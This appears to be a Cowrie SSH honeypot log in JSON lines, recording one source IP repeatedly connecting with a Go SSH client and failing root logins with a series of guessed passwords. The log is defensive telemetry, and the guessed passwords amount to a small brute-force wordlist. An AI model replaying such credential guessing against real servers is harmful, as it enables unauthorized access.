{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:22.676020Z","src_ip":"60.165.124.241","session":"971bef9f57a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:22.925970Z","src_ip":"60.165.124.241","session":"971bef9f57a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin369","message":"login attempt [root/Admin369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:23.681050Z","src_ip":"60.165.124.241","session":"971bef9f57a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:24.937632Z","src_ip":"60.165.124.241","session":"971bef9f57a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57906,"dst_ip":"10.17.0.5","dst_port":22,"session":"530fc566fde3","protocol":"ssh","message":"New connection: 60.165.124.241:57906 (10.17.0.5:22) [session: 530fc566fde3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:25.165285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:25.170232Z","src_ip":"60.165.124.241","session":"530fc566fde3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:25.418568Z","src_ip":"60.165.124.241","session":"530fc566fde3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1824","message":"login attempt [root/1824] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:26.177677Z","src_ip":"60.165.124.241","session":"530fc566fde3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:27.422976Z","src_ip":"60.165.124.241","session":"530fc566fde3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32960,"dst_ip":"10.17.0.5","dst_port":22,"session":"a698e4acc6a6","protocol":"ssh","message":"New connection: 60.165.124.241:32960 (10.17.0.5:22) [session: a698e4acc6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:27.657697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:27.662546Z","src_ip":"60.165.124.241","session":"a698e4acc6a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:27.913384Z","src_ip":"60.165.124.241","session":"a698e4acc6a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa666888","message":"login attempt [root/Aa666888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:28.641317Z","src_ip":"60.165.124.241","session":"a698e4acc6a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:29.895296Z","src_ip":"60.165.124.241","session":"a698e4acc6a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35856,"dst_ip":"10.17.0.5","dst_port":22,"session":"9583e1326590","protocol":"ssh","message":"New connection: 60.165.124.241:35856 (10.17.0.5:22) [session: 9583e1326590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:30.134086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:30.139082Z","src_ip":"60.165.124.241","session":"9583e1326590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:30.377083Z","src_ip":"60.165.124.241","session":"9583e1326590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newlife","message":"login attempt [root/newlife] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:31.123754Z","src_ip":"60.165.124.241","session":"9583e1326590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:32.382716Z","src_ip":"60.165.124.241","session":"9583e1326590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38798,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec7f6b05f6d6","protocol":"ssh","message":"New connection: 60.165.124.241:38798 (10.17.0.5:22) [session: ec7f6b05f6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:32.617745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:32.622126Z","src_ip":"60.165.124.241","session":"ec7f6b05f6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:32.858050Z","src_ip":"60.165.124.241","session":"ec7f6b05f6d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:33.594323Z","src_ip":"60.165.124.241","session":"ec7f6b05f6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:34.846836Z","src_ip":"60.165.124.241","session":"ec7f6b05f6d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41634,"dst_ip":"10.17.0.5","dst_port":22,"session":"15434d15e1b2","protocol":"ssh","message":"New connection: 60.165.124.241:41634 (10.17.0.5:22) [session: 15434d15e1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:35.090774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:35.096014Z","src_ip":"60.165.124.241","session":"15434d15e1b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:35.335827Z","src_ip":"60.165.124.241","session":"15434d15e1b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqwe123.","message":"login attempt [root/qweqwe123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:36.083594Z","src_ip":"60.165.124.241","session":"15434d15e1b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:37.324742Z","src_ip":"60.165.124.241","session":"15434d15e1b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44828,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa533a5c5b58","protocol":"ssh","message":"New connection: 60.165.124.241:44828 (10.17.0.5:22) [session: fa533a5c5b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:37.559939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:37.564718Z","src_ip":"60.165.124.241","session":"fa533a5c5b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:37.804794Z","src_ip":"60.165.124.241","session":"fa533a5c5b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aykj@83752661","message":"login attempt [root/Aykj@83752661] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:38.525013Z","src_ip":"60.165.124.241","session":"fa533a5c5b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:39.765836Z","src_ip":"60.165.124.241","session":"fa533a5c5b58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47998,"dst_ip":"10.17.0.5","dst_port":22,"session":"7014fc0a22cf","protocol":"ssh","message":"New connection: 60.165.124.241:47998 (10.17.0.5:22) [session: 7014fc0a22cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:39.997313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:40.001793Z","src_ip":"60.165.124.241","session":"7014fc0a22cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:40.240006Z","src_ip":"60.165.124.241","session":"7014fc0a22cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"massacre","message":"login attempt [root/massacre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:40.953015Z","src_ip":"60.165.124.241","session":"7014fc0a22cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:42.191025Z","src_ip":"60.165.124.241","session":"7014fc0a22cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50718,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c4f81fe5c67","protocol":"ssh","message":"New connection: 60.165.124.241:50718 (10.17.0.5:22) [session: 1c4f81fe5c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:42.426476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:42.430876Z","src_ip":"60.165.124.241","session":"1c4f81fe5c67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:42.668123Z","src_ip":"60.165.124.241","session":"1c4f81fe5c67","protocol":"ssh"}
